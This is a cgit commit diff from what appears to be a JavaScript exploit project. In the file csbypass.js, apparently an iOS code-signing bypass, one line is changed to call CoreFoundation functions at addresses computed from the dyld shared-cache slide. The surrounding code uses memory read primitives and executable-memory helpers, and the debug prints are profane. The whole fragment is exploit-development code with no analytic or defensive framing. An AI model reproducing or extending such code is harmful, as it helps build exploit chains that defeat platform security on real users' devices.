summaryrefslogtreecommitdiff
path: root/src/js/csbypass.js
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-07-15 15:03:50 -0400
committerspv420 <spv@spv.sh>2022-07-15 15:03:50 -0400
commit42647b796f0f54122e7f46522d8e681825daf54b (patch)
tree6886bfea221b15579b84ff13d1b850a1ac9f5fcf /src/js/csbypass.js
parentd1da310f02adc0e9b5f8656ea063fd3231901611 (diff)
dump
Diffstat (limited to 'src/js/csbypass.js')
-rw-r--r--src/js/csbypass.js2
1 files changed, 1 insertions, 1 deletions
diff --git a/src/js/csbypass.js b/src/js/csbypass.js
index 8f7a56e..3065099 100644
--- a/src/js/csbypass.js
+++ b/src/js/csbypass.js
@@ -38,7 +38,7 @@ function memcpy_exec(dst, src, size) {
printf("fuck you test=%p %p %p\n", test, pitch, read_u32(dict));
scall("printf", "%x %x %x %x\n", read_u32(CFDictionarySetValue_addr + get_dyld_shc_slide()), read_u32(CFDictionarySetValue_addr + get_dyld_shc_slide() + 4), read_u32(CFDictionarySetValue_addr + get_dyld_shc_slide() + 8), read_u32(CFDictionarySetValue_addr + get_dyld_shc_slide() + 12));
callnarg(CFShow_addr + get_dyld_shc_slide(), dict);
- callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), read_u32(my_kIOSurfaceBytesPerRow + 4), read_u32(my_kIOSurfaceBytesPerRow + 8), read_u32(my_kIOSurfaceBytesPerRow + 12), test);
+ call4arg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(read_u32(my_kIOSurfaceBytesPerRow)), test, 0);
printf("fuck1\n");
callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), read_u32(my_kIOSurfaceWidth + 4), read_u32(my_kIOSurfaceWidth + 8), read_u32(my_kIOSurfaceWidth + 12), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width));
printf("fuck2\n");